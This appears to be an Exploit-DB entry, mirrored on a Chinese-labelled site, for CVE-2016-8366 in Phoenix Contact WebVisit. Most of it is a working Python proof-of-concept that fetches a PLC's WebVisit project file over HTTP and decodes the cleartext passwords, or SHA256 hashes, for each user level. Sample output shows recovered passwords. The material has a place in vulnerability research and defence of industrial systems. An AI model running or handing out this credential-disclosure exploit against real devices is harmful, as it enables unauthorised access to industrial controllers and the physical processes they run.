Phoenix Contact WebVisit 6.40.00 – Password Disclosure

  • 作者： Photubias
    日期： 2018-10-11
  • 类别：
    平台：
  • 来源：https://www.exploit-db.com/exploits/45586/
  • # Exploit Title: Phoenix Contact WebVisit 6.40.00 - Password Disclosure
# Exploit Author: Deneut Tijl
# Date: 2018-09-30
# Vendor Homepage: www.phoenixcontact.com
# Software Link: https://www.phoenixcontact.com/online/portal/nl/?uri=pxc-oc-itemdetail:pid=2985725&library=nlnl&pcck=P-19-05-01&tab=5
# Version: WebVisit < 6.40.00
# CVE: CVE-2016-8366

# This script will perform retrieval of clear text credentials for a Phoenix Contact PLC with a WebVisit GUI, 
# password protected, application on it Tested on the Phoenix Contact ILC-390 PLC, but others are 
# surely equally vulnerable with WebVisit 6.40.00, the passwords are SHA256 hashes, which also will be retrieved
		
# Sample output:
# C:\Users\admin\Desktop>CVE-2016-8366.py
# Please enter an IP [192.168.1.200]:
# This is the password for userlevel 1: pw1
# This is the password for userlevel 2: SuperPass2
# This is the password for userlevel 3: Extreme2TheMax3
# This is the password for userlevel 4: PowerPass4
# Press Enter to exit

# PoC

#! /usr/bin/env python

import urllib2, binascii

strIP = raw_input('Please enter an IP [192.168.1.200]: ')
if strIP == '': strIP = '192.168.1.200'

try:
URLResponse = urllib2.urlopen(urllib2.Request('http://' + strIP + '/'))
except urllib2.HTTPError:
print('#### Critical Error with IP ' + strIP + ': no response')
raw_input('Press Enter to exit')
exit()

strMainTEQ = ''
for line in URLResponse.readlines():
if 'MainTEQName' in line:
strMainTEQ = line.split('VALUE="')[1].split('"')[0]

if strMainTEQ == '':
print('#### Error, no \'MainTEQ\' found on the main page')
raw_input('Press Enter to exit')
exit()

try:
LoginTeqResponse = urllib2.urlopen(urllib2.Request('http://' + strIP + '/' + strMainTEQ))
except urllib2.HTTPError:
print('Critical Error with IP ' + strIP + ': File \'' + strMainTEQ + '\' not found')
raw_input('Press Enter to exit')
exit()
strAlldata = ''
for line in LoginTeqResponse.readlines():
strAlldata += binascii.hexlify(line)

## For vulnerable webvisit:
## Seems to be 'userLevel' + x bytes + 1 + y bytes + 'password'
## userLevel + '0506030001' + 31 + '00030003010301068300' + passlength + 'password'
## For WebVisit > 6.40.00
## userLevel + '0003000301030b06830040' + 'SHA256' (wich is 64 bytes)

arrData = strAlldata.split('757365724c6576656c0506030001') ## userLevel + '0506030001'
for item in arrData:
if '00030003010301068300' in item:
intUserlevel = int(binascii.unhexlify(item[:2]), 16) ## Turn str '31' into int 1
strPassLength = item.split('00030003010301068300')[1][:2]
strPassword = binascii.unhexlify(item.split('00030003010301068300')[1][2:2+(2*int(strPassLength,16))])
print('This is the password for userlevel ' + str(intUserlevel) + ': ' + strPassword)
elif '0003000301030b06830040' in item:
intUserlevel = int(binascii.unhexlify(item[:2]), 16)
strHash = binascii.unhexlify(item.split('0003000301030b06830040')[1][:64*2])
print('This is the hash for userlevel ' + str(intUserlevel) + ': ' + strHash.lower())
raw_input('Press Enter to exit')
    Python